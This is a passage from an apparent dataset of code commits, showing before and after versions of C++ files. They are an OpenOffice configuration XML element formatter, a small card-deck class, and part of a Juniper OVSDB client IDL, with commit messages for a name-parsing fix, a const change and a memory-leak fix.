-----------------------------------------------------------------------------\n\nvoid ElementFormatter::prepareElement(ElementInfo const& _aInfo)\n{\n if (!m_xAttributes.is())\n {\n m_xAttributes.set( new AttributeListImpl() );\n addNamespaces();\n }\n else\n m_xAttributes->clear();\n\n m_aElementType = _aInfo.type;\n\n addName(_aInfo.name);\n addNodeFlags(_aInfo.flags);\n addOperation(_aInfo.op);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::prepareSimpleElement(ElementType::Enum _eType)\n{\n if (!m_xAttributes.is())\n {\n m_xAttributes.set( new AttributeListImpl() );\n addNamespaces();\n }\n else\n m_xAttributes->clear();\n\n m_aElementType = _eType;\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addName(OUString const & _aName)\n{\n OUString _aContext;\n OUString _aNodeName;\n sal_Int32 _aIndex;\n\n if ( m_aElementType == ElementType::layer )\n {\n _aIndex = _aName.lastIndexOf ( '.');\n\n if (_aName.getLength())\n {\n _aNodeName = _aName.copy(++_aIndex);\n addAttribute(ATTR_NAME, _aNodeName);\n }\n _aContext = _aName.copy( 0, --_aIndex);\n addAttribute(ATTR_CONTEXT, _aContext);\n }\n else\n {\n if (_aName.getLength())\n addAttribute(ATTR_NAME, _aName);\n }\n}\n\/\/ -----------------------------------------------------------------------------\n\ninline\nvoid ElementFormatter::maybeAddFlag(FlagsType _eFlags, FlagsType _eSelect, OUString const & _anAttributeName, bool _bValue)\n{\n if (_eFlags & _eSelect) addAttribute(_anAttributeName,_bValue);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addNodeFlags(FlagsType _eFlags)\n{\n using namespace drafts::com::sun::star::configuration::backend;;\n\n maybeAddFlag(_eFlags,SchemaAttribute::REQUIRED, ATTR_FLAG_NULLABLE, false);\n maybeAddFlag(_eFlags,SchemaAttribute::LOCALIZED, ATTR_FLAG_LOCALIZED);\n maybeAddFlag(_eFlags,SchemaAttribute::EXTENSIBLE, ATTR_FLAG_EXTENSIBLE);\n\n maybeAddFlag(_eFlags,NodeAttribute::FINALIZED, ATTR_FLAG_FINALIZED);\n maybeAddFlag(_eFlags,NodeAttribute::MANDATORY, ATTR_FLAG_MANDATORY);\n maybeAddFlag(_eFlags,NodeAttribute::READONLY, ATTR_FLAG_READONLY);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addOperation(Operation::Enum _eOp)\n{\n switch (_eOp)\n {\n case Operation::none: break;\n case Operation::modify: break ; \/\/addAttribute(ATTR_OPERATION, static_cast<OUString const &>(OPERATION_MODIFY)); break;\n case Operation::replace: addAttribute(ATTR_OPERATION, static_cast<OUString const &>(OPERATION_REPLACE)); break;\n case Operation::remove: addAttribute(ATTR_OPERATION, static_cast<OUString const &>(OPERATION_REMOVE)); break;\n\n case Operation::unknown:\n OSL_ENSURE(false, \"ElementFormatter: Trying to add attribute for 'unknown' operation\");\n break;\n default:\n OSL_ENSURE(false, \"ElementFormatter: Trying to add attribute for invalid operation\");\n break;\n }\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addInstanceType(OUString const & _aElementType, OUString const & _aElementTypeModule)\n{\n}\n\/\/ -----------------------------------------------------------------------------\n\nstatic ::rtl::OUString toXmlTypeName(const uno::TypeClass& _rTypeClass)\n{\n ::rtl::OUString aRet;\n switch(_rTypeClass)\n {\n case uno::TypeClass_BOOLEAN: aRet = VALUETYPE_BOOLEAN; break;\n case uno::TypeClass_SHORT: aRet = VALUETYPE_SHORT; break;\n case uno::TypeClass_LONG: aRet = VALUETYPE_INT; break;\n case uno::TypeClass_HYPER: aRet = VALUETYPE_LONG; break;\n case uno::TypeClass_DOUBLE: aRet = VALUETYPE_DOUBLE; break;\n case uno::TypeClass_STRING: aRet = VALUETYPE_STRING; break;\n case uno::TypeClass_SEQUENCE: aRet = VALUETYPE_BINARY; break;\n case uno::TypeClass_ANY: aRet = VALUETYPE_ANY; break;\n default:\n OSL_ENSURE(false,\"Cannot get type name: unknown typeclass\");\n break;\n }\n return aRet;\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addPropertyValueType(uno::Type const& _aType)\n{\n if (_aType == uno::Type()) return;\n\n bool bList = false;\n uno::Type aSimpleType = getBasicType(_aType, bList);\n uno::TypeClass aSimpleTypeClass = aSimpleType.getTypeClass();\n OUString aSimpleTypeName = toXmlTypeName(aSimpleTypeClass);\n\n OUString sNsPrefix = (bList || aSimpleTypeClass == uno::TypeClass_ANY) ? NS_PREFIX_OOR : NS_PREFIX_XS;\n\n rtl::OUStringBuffer aTypeNameBuf(sNsPrefix);\n\n if (sNsPrefix.getLength())\n aTypeNameBuf. append(k_NS_SEPARATOR);\n\n aTypeNameBuf. append(aSimpleTypeName);\n\n if (bList)\n aTypeNameBuf. append(VALUETYPE_LIST_SUFFIX);\n\n addAttribute( ATTR_VALUETYPE, aTypeNameBuf.makeStringAndClear());\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addLanguage(OUString const & _sLanguage)\n{\n OSL_ENSURE(_sLanguage.getLength(), \"ElementFormatter: Trying to add empty language attribute\");\n addAttribute(EXT_ATTR_LANGUAGE, _sLanguage);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addIsNull(bool _bIsNull)\n{\n addAttribute( EXT_ATTR_NULL, _bIsNull);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addSeparator(OUString const& _sSeparator)\n{\n addAttribute( ATTR_VALUESEPARATOR, _sSeparator);\n}\n\/\/ -----------------------------------------------------------------------------\n\nOUString ElementFormatter::getElementTag() const\n{\n switch (m_aElementType)\n {\n case ElementType::schema: return TAG_SCHEMA;\n case ElementType::layer: return TAG_LAYER;\n\n case ElementType::component: return TAG_COMPONENT;\n case ElementType::templates: return TAG_TEMPLATES;\n\n case ElementType::property: return TAG_PROP;\n case ElementType::node: return TAG_NODE;\n case ElementType::group: return TAG_GROUP;\n case ElementType::set: return TAG_SET;\n\n case ElementType::import: return TAG_IMPORT;\n case ElementType::instance: return TAG_INSTANCE;\n case ElementType::item_type: return TAG_ITEMTYPE;\n case ElementType::value: return TAG_VALUE;\n case ElementType::uses: return TAG_USES;\n\n case ElementType::unknown:\n OSL_ENSURE(false, \"ElementFormatter: Trying to get Tag for 'unknown' element type\");\n break;\n case ElementType::other:\n OSL_ENSURE(false, \"ElementFormatter: Trying to get Tag for 'other' element type\");\n break;\n default:\n OSL_ENSURE(false, \"ElementFormatter: Trying to get Tag for invalid element type\");\n break;\n }\n return OUString();\n}\n\/\/ -----------------------------------------------------------------------------\n\nuno::Reference< sax::XAttributeList > ElementFormatter::getElementAttributes() const\n{\n return m_xAttributes.get();\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ -----------------------------------------------------------------------------\n} \/\/ namespace\n} \/\/ namespace\n\n<commit_msg>#103812# updated root node name format<commit_after>\/*************************************************************************\n *\n * $RCSfile: elementformatter.cxx,v $\n *\n * $Revision: 1.8 $\n *\n * last change: $Author: ssmith $ $Date: 2002-10-21 13:33:56 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2002 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#include \"elementformatter.hxx\"\n\n#ifndef CONFIGMGR_XML_STRINGS_HXX_\n#include \"xmlstrings.hxx\"\n#endif\n\n#ifndef CONFIGMGR_TYPECONVERTER_HXX\n#include \"typeconverter.hxx\"\n#endif\n#ifndef CONFIGMGR_MISC_ATTRIBUTELIST_HXX\n#include \"attributelist.hxx\"\n#endif\n\n#ifndef _RTL_USTRBUF_HXX_\n#include <rtl\/ustrbuf.hxx>\n#endif\n\n#include <drafts\/com\/sun\/star\/configuration\/backend\/SchemaAttribute.hpp>\n#include <drafts\/com\/sun\/star\/configuration\/backend\/NodeAttribute.hpp>\n\n\/\/ -----------------------------------------------------------------------------\n\nnamespace configmgr\n{\n\/\/ -----------------------------------------------------------------------------\n namespace xml\n {\n\/\/ -----------------------------------------------------------------------------\n namespace uno = ::com::sun::star::uno;\n namespace sax = ::com::sun::star::xml::sax;\n\/\/ -----------------------------------------------------------------------------\n\nElementFormatter::ElementFormatter()\n: m_aElementType(ElementType::unknown)\n, m_xAttributes()\n{\n}\n\/\/ -----------------------------------------------------------------------------\n\nElementFormatter::~ElementFormatter()\n{\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::reset()\n{\n m_aElementType = ElementType::unknown;\n m_xAttributes.clear();\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addAttribute(OUString const & _anAttributeName, OUString const & _aValue)\n{\n OSL_PRECOND(m_xAttributes.is(),\"Trying to add an attribute to a non-existing list\");\n\n m_xAttributes->addAttribute(_anAttributeName,\n XML_ATTRTYPE_CDATA,\n _aValue);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addAttribute(OUString const & _anAttributeName, bool _bValue)\n{\n OSL_PRECOND(m_xAttributes.is(),\"Trying to add an attribute to a non-existing list\");\n\n m_xAttributes->addAttribute(_anAttributeName,\n XML_ATTRTYPE_CDATA,\n _bValue ? ATTR_VALUE_TRUE : ATTR_VALUE_FALSE);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addNamespaces()\n{\n static OUString const sNamespaceDecl( RTL_CONSTASCII_USTRINGPARAM(\"xmlns:\") );\n\n addAttribute( sNamespaceDecl.concat(NS_PREFIX_OOR), static_cast<OUString const &>(NS_URI_OOR));\n addAttribute( sNamespaceDecl.concat(NS_PREFIX_XS ), static_cast<OUString const &>(NS_URI_XS ));\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::prepareElement(ElementInfo const& _aInfo)\n{\n if (!m_xAttributes.is())\n {\n m_xAttributes.set( new AttributeListImpl() );\n addNamespaces();\n }\n else\n m_xAttributes->clear();\n\n m_aElementType = _aInfo.type;\n\n addName(_aInfo.name);\n addNodeFlags(_aInfo.flags);\n addOperation(_aInfo.op);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::prepareSimpleElement(ElementType::Enum _eType)\n{\n if (!m_xAttributes.is())\n {\n m_xAttributes.set( new AttributeListImpl() );\n addNamespaces();\n }\n else\n m_xAttributes->clear();\n\n m_aElementType = _eType;\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addName(OUString const & _aName)\n{\n OUString _aContext;\n OUString _aNodeName;\n sal_Int32 _aIndex;\n\n if ( m_aElementType == ElementType::layer )\n {\n if (_aName.getLength())\n {\n _aIndex = _aName.lastIndexOf ( '.');\n _aNodeName = _aName.copy(++_aIndex);\n addAttribute(ATTR_NAME, _aNodeName);\n _aContext = _aName.copy( 0, --_aIndex);\n addAttribute(ATTR_CONTEXT, _aContext);\n }\n }\n else\n {\n if (_aName.getLength())\n addAttribute(ATTR_NAME, _aName);\n }\n}\n\/\/ -----------------------------------------------------------------------------\n\ninline\nvoid ElementFormatter::maybeAddFlag(FlagsType _eFlags, FlagsType _eSelect, OUString const & _anAttributeName, bool _bValue)\n{\n if (_eFlags & _eSelect) addAttribute(_anAttributeName,_bValue);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addNodeFlags(FlagsType _eFlags)\n{\n using namespace drafts::com::sun::star::configuration::backend;;\n\n maybeAddFlag(_eFlags,SchemaAttribute::REQUIRED, ATTR_FLAG_NULLABLE, false);\n maybeAddFlag(_eFlags,SchemaAttribute::LOCALIZED, ATTR_FLAG_LOCALIZED);\n maybeAddFlag(_eFlags,SchemaAttribute::EXTENSIBLE, ATTR_FLAG_EXTENSIBLE);\n\n maybeAddFlag(_eFlags,NodeAttribute::FINALIZED, ATTR_FLAG_FINALIZED);\n maybeAddFlag(_eFlags,NodeAttribute::MANDATORY, ATTR_FLAG_MANDATORY);\n maybeAddFlag(_eFlags,NodeAttribute::READONLY, ATTR_FLAG_READONLY);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addOperation(Operation::Enum _eOp)\n{\n switch (_eOp)\n {\n case Operation::none: break;\n case Operation::modify: break ; \/\/addAttribute(ATTR_OPERATION, static_cast<OUString const &>(OPERATION_MODIFY)); break;\n case Operation::replace: addAttribute(ATTR_OPERATION, static_cast<OUString const &>(OPERATION_REPLACE)); break;\n case Operation::remove: addAttribute(ATTR_OPERATION, static_cast<OUString const &>(OPERATION_REMOVE)); break;\n\n case Operation::unknown:\n OSL_ENSURE(false, \"ElementFormatter: Trying to add attribute for 'unknown' operation\");\n break;\n default:\n OSL_ENSURE(false, \"ElementFormatter: Trying to add attribute for invalid operation\");\n break;\n }\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addInstanceType(OUString const & _aElementType, OUString const & _aElementTypeModule)\n{\n}\n\/\/ -----------------------------------------------------------------------------\n\nstatic ::rtl::OUString toXmlTypeName(const uno::TypeClass& _rTypeClass)\n{\n ::rtl::OUString aRet;\n switch(_rTypeClass)\n {\n case uno::TypeClass_BOOLEAN: aRet = VALUETYPE_BOOLEAN; break;\n case uno::TypeClass_SHORT: aRet = VALUETYPE_SHORT; break;\n case uno::TypeClass_LONG: aRet = VALUETYPE_INT; break;\n case uno::TypeClass_HYPER: aRet = VALUETYPE_LONG; break;\n case uno::TypeClass_DOUBLE: aRet = VALUETYPE_DOUBLE; break;\n case uno::TypeClass_STRING: aRet = VALUETYPE_STRING; break;\n case uno::TypeClass_SEQUENCE: aRet = VALUETYPE_BINARY; break;\n case uno::TypeClass_ANY: aRet = VALUETYPE_ANY; break;\n default:\n OSL_ENSURE(false,\"Cannot get type name: unknown typeclass\");\n break;\n }\n return aRet;\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addPropertyValueType(uno::Type const& _aType)\n{\n if (_aType == uno::Type()) return;\n\n bool bList = false;\n uno::Type aSimpleType = getBasicType(_aType, bList);\n uno::TypeClass aSimpleTypeClass = aSimpleType.getTypeClass();\n OUString aSimpleTypeName = toXmlTypeName(aSimpleTypeClass);\n\n OUString sNsPrefix = (bList || aSimpleTypeClass == uno::TypeClass_ANY) ? NS_PREFIX_OOR : NS_PREFIX_XS;\n\n rtl::OUStringBuffer aTypeNameBuf(sNsPrefix);\n\n if (sNsPrefix.getLength())\n aTypeNameBuf. append(k_NS_SEPARATOR);\n\n aTypeNameBuf. append(aSimpleTypeName);\n\n if (bList)\n aTypeNameBuf. append(VALUETYPE_LIST_SUFFIX);\n\n addAttribute( ATTR_VALUETYPE, aTypeNameBuf.makeStringAndClear());\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addLanguage(OUString const & _sLanguage)\n{\n OSL_ENSURE(_sLanguage.getLength(), \"ElementFormatter: Trying to add empty language attribute\");\n addAttribute(EXT_ATTR_LANGUAGE, _sLanguage);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addIsNull(bool _bIsNull)\n{\n addAttribute( EXT_ATTR_NULL, _bIsNull);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addSeparator(OUString const& _sSeparator)\n{\n addAttribute( ATTR_VALUESEPARATOR, _sSeparator);\n}\n\/\/ -----------------------------------------------------------------------------\n\nOUString ElementFormatter::getElementTag() const\n{\n switch (m_aElementType)\n {\n case ElementType::schema: return TAG_SCHEMA;\n case ElementType::layer: return TAG_LAYER;\n\n case ElementType::component: return TAG_COMPONENT;\n case ElementType::templates: return TAG_TEMPLATES;\n\n case ElementType::property: return TAG_PROP;\n case ElementType::node: return TAG_NODE;\n case ElementType::group: return TAG_GROUP;\n case ElementType::set: return TAG_SET;\n\n case ElementType::import: return TAG_IMPORT;\n case ElementType::instance: return TAG_INSTANCE;\n case ElementType::item_type: return TAG_ITEMTYPE;\n case ElementType::value: return TAG_VALUE;\n case ElementType::uses: return TAG_USES;\n\n case ElementType::unknown:\n OSL_ENSURE(false, \"ElementFormatter: Trying to get Tag for 'unknown' element type\");\n break;\n case ElementType::other:\n OSL_ENSURE(false, \"ElementFormatter: Trying to get Tag for 'other' element type\");\n break;\n default:\n OSL_ENSURE(false, \"ElementFormatter: Trying to get Tag for invalid element type\");\n break;\n }\n return OUString();\n}\n\/\/ -----------------------------------------------------------------------------\n\nuno::Reference< sax::XAttributeList > ElementFormatter::getElementAttributes() const\n{\n return m_xAttributes.get();\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ -----------------------------------------------------------------------------\n} \/\/ namespace\n} \/\/ namespace\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * CardDeck.cpp\n *\n * Created on: 2014年10月25日\n * Author: nemo\n *\/\n\n#include \"CardDeck.h\"\n\n#include <iostream>\n\nCardDeck::CardDeck()\n{\n\tLOG_TRACE(\"Construct CardDeck.\")\n\n}\n\nCardDeck::~CardDeck()\n{\n\t\/\/ TODO Auto-generated destructor stub\n}\n\n\/\/\/\tInsert card into card deck.\n\/**\n * @brief\tInsert card into card deck.\n *\n * @param \tcard\tInput card pointer.\n *\/\nvoid CardDeck::push_back(Card *card)\n{\n\t_card.push_back(card);\n}\n\n\/\/\/\tShow all card in card deck.\nvoid CardDeck::show()\n{\n\tfor(auto card :_card)\n\t{\n\t\tcard->show();\n\t}\n\n}\n<commit_msg>Set auto card in show(0) as const.<commit_after>\/*\n * CardDeck.cpp\n *\n * Created on: 2014年10月25日\n * Author: nemo\n *\/\n\n#include \"CardDeck.h\"\n\n#include <iostream>\n\nCardDeck::CardDeck()\n{\n\tLOG_TRACE(\"Construct CardDeck.\")\n\n}\n\nCardDeck::~CardDeck()\n{\n\t\/\/ TODO Auto-generated destructor stub\n}\n\n\/\/\/\tInsert card into card deck.\n\/**\n * @brief\tInsert card into card deck.\n *\n * @param \tcard\tInput card pointer.\n *\/\nvoid CardDeck::push_back(Card *card)\n{\n\t_card.push_back(card);\n}\n\n\/\/\/\tShow all card in card deck.\nvoid CardDeck::show()\n{\n\tfor(const auto card :_card)\n\t{\n\t\tcard->show();\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2014 Juniper Networks, Inc. All rights reserved.\n *\/\n\n#include <assert.h>\n#include <cstddef>\n#include <string.h>\n#include <stdlib.h>\n\nextern \"C\" {\n#include <ovsdb_wrapper.h>\n};\n#include <oper\/agent_sandesh.h>\n#include <ovsdb_types.h>\n#include <ovsdb_client_idl.h>\n#include <ovsdb_client_session.h>\n#include <ovsdb_route_peer.h>\n#include <ovsdb_entry.h>\n#include <physical_switch_ovsdb.h>\n#include <logical_switch_ovsdb.h>\n#include <physical_port_ovsdb.h>\n#include <physical_locator_ovsdb.h>\n#include <vlan_port_binding_ovsdb.h>\n#include <unicast_mac_local_ovsdb.h>\n#include <unicast_mac_remote_ovsdb.h>\n#include <vm_interface_ksync.h>\n\nSandeshTraceBufferPtr OvsdbTraceBuf(SandeshTraceBufferCreate(\"Ovsdb\", 5000));\nSandeshTraceBufferPtr OvsdbPktTraceBuf(SandeshTraceBufferCreate(\"Ovsdb Pkt\", 5000));\n\nclass PhysicalDeviceTable;\nclass InterfaceTable;\nclass PhysicalDeviceVnTable;\n\nusing OVSDB::OvsdbClientIdl;\nusing OVSDB::OvsdbClientSession;\nusing OVSDB::OvsdbEntryBase;\nusing OVSDB::VMInterfaceKSyncObject;\nusing OVSDB::PhysicalSwitchTable;\nusing OVSDB::LogicalSwitchTable;\nusing OVSDB::PhysicalPortTable;\nusing OVSDB::PhysicalLocatorTable;\nusing OVSDB::VlanPortBindingTable;\nusing OVSDB::UnicastMacLocalOvsdb;\nusing OVSDB::VrfOvsdbObject;\n\nnamespace OVSDB {\nvoid ovsdb_wrapper_idl_callback(void *idl_base, int op,\n struct ovsdb_idl_row *row) {\n OvsdbClientIdl *client_idl = (OvsdbClientIdl *) idl_base;\n int i = ovsdb_wrapper_row_type(row);\n if (i >= OvsdbClientIdl::OVSDB_TYPE_COUNT)\n return;\n if (client_idl->callback_[i] != NULL)\n client_idl->callback_[i]((OvsdbClientIdl::Op)op, row);\n}\n\nvoid ovsdb_wrapper_idl_txn_ack(void *idl_base, struct ovsdb_idl_txn *txn) {\n OvsdbClientIdl *client_idl = (OvsdbClientIdl *) idl_base;\n OvsdbEntryBase *entry = client_idl->pending_txn_[txn];\n bool success = ovsdb_wrapper_is_txn_success(txn);\n if (!success) {\n OVSDB_TRACE(Error, \"Transaction failed: \" +\n std::string(ovsdb_wrapper_txn_get_error(txn)));\n \/\/ we don't handle the case where txn fails, when entry is not present\n \/\/ case of unicast_mac_remote entry.\n assert(entry != NULL);\n }\n client_idl->DeleteTxn(txn);\n if (entry)\n entry->Ack(success);\n}\n};\n\nOvsdbClientIdl::OvsdbClientIdl(OvsdbClientSession *session, Agent *agent,\n OvsPeerManager *manager) : idl_(ovsdb_wrapper_idl_create()),\n session_(session), agent_(agent), pending_txn_() {\n vtep_global_= ovsdb_wrapper_vteprec_global_first(idl_);\n ovsdb_wrapper_idl_set_callback(idl_, (void *)this,\n ovsdb_wrapper_idl_callback, ovsdb_wrapper_idl_txn_ack);\n parser_ = NULL;\n for (int i = 0; i < OVSDB_TYPE_COUNT; i++) {\n callback_[i] = NULL;\n }\n route_peer_.reset(manager->Allocate(IpAddress()));\n vm_interface_table_.reset(new VMInterfaceKSyncObject(this,\n (DBTable *)agent->interface_table()));\n physical_switch_table_.reset(new PhysicalSwitchTable(this));\n logical_switch_table_.reset(new LogicalSwitchTable(this,\n (DBTable *)agent->physical_device_vn_table()));\n physical_port_table_.reset(new PhysicalPortTable(this));\n physical_locator_table_.reset(new PhysicalLocatorTable(this));\n vlan_port_table_.reset(new VlanPortBindingTable(this,\n (DBTable *)agent->interface_table()));\n unicast_mac_local_ovsdb_.reset(new UnicastMacLocalOvsdb(this,\n route_peer()));\n vrf_ovsdb_.reset(new VrfOvsdbObject(this, (DBTable *)agent->vrf_table()));\n}\n\nOvsdbClientIdl::~OvsdbClientIdl() {\n ovsdb_wrapper_idl_destroy(idl_);\n}\n\nvoid OvsdbClientIdl::SendMointorReq() {\n OVSDB_TRACE(Trace, \"Sending Monitor Request\");\n SendJsonRpc(ovsdb_wrapper_idl_encode_monitor_request(idl_));\n}\n\nvoid OvsdbClientIdl::SendJsonRpc(struct jsonrpc_msg *msg) {\n struct json *json_msg = ovsdb_wrapper_jsonrpc_msg_to_json(msg);\n char *s = ovsdb_wrapper_json_to_string(json_msg, 0);\n ovsdb_wrapper_json_destroy(json_msg);\n\n session_->SendMsg((u_int8_t *)s, strlen(s));\n}\n\nvoid OvsdbClientIdl::MessageProcess(const u_int8_t *buf, std::size_t len) {\n std::size_t used = 0;\n \/\/ Multiple json message may be clubbed together, need to keep reading\n \/\/ the buffer till whole message is consumed.\n while (used != len) {\n if (parser_ == NULL) {\n parser_ = ovsdb_wrapper_json_parser_create(0);\n }\n const u_int8_t *pkt = buf + used;\n std::size_t pkt_len = len - used;\n std::size_t read;\n read = ovsdb_wrapper_json_parser_feed(parser_, (const char *)pkt,\n pkt_len);\n OVSDB_PKT_TRACE(Trace, \"Processed: \" + std::string((const char *)pkt, read));\n used +=read;\n\n \/* If we have complete JSON, attempt to parse it as JSON-RPC. *\/\n if (ovsdb_wrapper_json_parser_is_done(parser_)) {\n struct json *json = ovsdb_wrapper_json_parser_finish(parser_);\n parser_ = NULL;\n struct jsonrpc_msg *msg;\n char *error = ovsdb_wrapper_jsonrpc_msg_from_json(json, &msg);\n if (error) {\n assert(0);\n free(error);\n \/\/continue;\n }\n\n if (ovsdb_wrapper_msg_echo_req(msg)) {\n \/* Echo request. Send reply. *\/\n struct jsonrpc_msg *reply;\n reply = ovsdb_wrapper_jsonrpc_create_reply(msg);\n SendJsonRpc(reply);\n \/\/jsonrpc_session_send(s, reply);\n } else if (ovsdb_wrapper_msg_echo_reply(msg)) {\n \/* It's a reply to our echo request. Suppress it. *\/\n } else {\n ovsdb_wrapper_idl_msg_process(idl_, msg);\n continue;\n }\n ovsdb_wrapper_jsonrpc_msg_destroy(msg);\n }\n }\n}\n\nstruct ovsdb_idl_txn *OvsdbClientIdl::CreateTxn(OvsdbEntryBase *entry) {\n struct ovsdb_idl_txn *txn = ovsdb_wrapper_idl_txn_create(idl_);\n pending_txn_[txn] = entry;\n return txn;\n}\n\nvoid OvsdbClientIdl::DeleteTxn(struct ovsdb_idl_txn *txn) {\n pending_txn_.erase(txn);\n ovsdb_wrapper_idl_txn_destroy(txn);\n}\n\nIp4Address OvsdbClientIdl::tsn_ip() {\n return session_->tsn_ip();\n}\n\nKSyncObjectManager *OvsdbClientIdl::ksync_obj_manager() {\n return session_->ksync_obj_manager();\n}\n\nOvsPeer *OvsdbClientIdl::route_peer() {\n return route_peer_.get();\n}\n\nVMInterfaceKSyncObject *OvsdbClientIdl::vm_interface_table() {\n return vm_interface_table_.get();\n}\n\nPhysicalSwitchTable *OvsdbClientIdl::physical_switch_table() {\n return physical_switch_table_.get();\n}\n\nLogicalSwitchTable *OvsdbClientIdl::logical_switch_table() {\n return logical_switch_table_.get();\n}\n\nPhysicalPortTable *OvsdbClientIdl::physical_port_table() {\n return physical_port_table_.get();\n}\n\nPhysicalLocatorTable *OvsdbClientIdl::physical_locator_table() {\n return physical_locator_table_.get();\n}\n\nVlanPortBindingTable *OvsdbClientIdl::vlan_port_table() {\n return vlan_port_table_.get();\n}\n\nUnicastMacLocalOvsdb *OvsdbClientIdl::unicast_mac_local_ovsdb() {\n return unicast_mac_local_ovsdb_.get();\n}\n\nVrfOvsdbObject *OvsdbClientIdl::vrf_ovsdb() {\n return vrf_ovsdb_.get();\n}\n\n<commit_msg>fix memory leak, while doing ovs send.<commit_after>\/*\n * Copyright (c) 2014 Juniper Networks, Inc. All rights reserved.\n *\/\n\n#include <assert.h>\n#include <cstddef>\n#include <string.h>\n#include <stdlib.h>\n\nextern \"C\" {\n#include <ovsdb_wrapper.h>\n};\n#include <oper\/agent_sandesh.h>\n#include <ovsdb_types.h>\n#include <ovsdb_client_idl.h>\n#include <ovsdb_client_session.h>\n#include <ovsdb_route_peer.h>\n#include <ovsdb_entry.h>\n#include <physical_switch_ovsdb.h>\n#include <logical_switch_ovsdb.h>\n#include <physical_port_ovsdb.h>\n#include <physical_locator_ovsdb.h>\n#include <vlan_port_binding_ovsdb.h>\n#include <unicast_mac_local_ovsdb.h>\n#include <unicast_mac_remote_ovsdb.h>\n#include <vm_interface_ksync.h>\n\nSandeshTraceBufferPtr OvsdbTraceBuf(SandeshTraceBufferCreate(\"Ovsdb\", 5000));\nSandeshTraceBufferPtr OvsdbPktTraceBuf(SandeshTraceBufferCreate(\"Ovsdb Pkt\", 5000));\n\nclass PhysicalDeviceTable;\nclass InterfaceTable;\nclass PhysicalDeviceVnTable;\n\nusing OVSDB::OvsdbClientIdl;\nusing OVSDB::OvsdbClientSession;\nusing OVSDB::OvsdbEntryBase;\nusing OVSDB::VMInterfaceKSyncObject;\nusing OVSDB::PhysicalSwitchTable;\nusing OVSDB::LogicalSwitchTable;\nusing OVSDB::PhysicalPortTable;\nusing OVSDB::PhysicalLocatorTable;\nusing OVSDB::VlanPortBindingTable;\nusing OVSDB::UnicastMacLocalOvsdb;\nusing OVSDB::VrfOvsdbObject;\n\nnamespace OVSDB {\nvoid ovsdb_wrapper_idl_callback(void *idl_base, int op,\n struct ovsdb_idl_row *row) {\n OvsdbClientIdl *client_idl = (OvsdbClientIdl *) idl_base;\n int i = ovsdb_wrapper_row_type(row);\n if (i >= OvsdbClientIdl::OVSDB_TYPE_COUNT)\n return;\n if (client_idl->callback_[i] != NULL)\n client_idl->callback_[i]((OvsdbClientIdl::Op)op, row);\n}\n\nvoid ovsdb_wrapper_idl_txn_ack(void *idl_base, struct ovsdb_idl_txn *txn) {\n OvsdbClientIdl *client_idl = (OvsdbClientIdl *) idl_base;\n OvsdbEntryBase *entry = client_idl->pending_txn_[txn];\n bool success = ovsdb_wrapper_is_txn_success(txn);\n if (!success) {\n OVSDB_TRACE(Error, \"Transaction failed: \" +\n 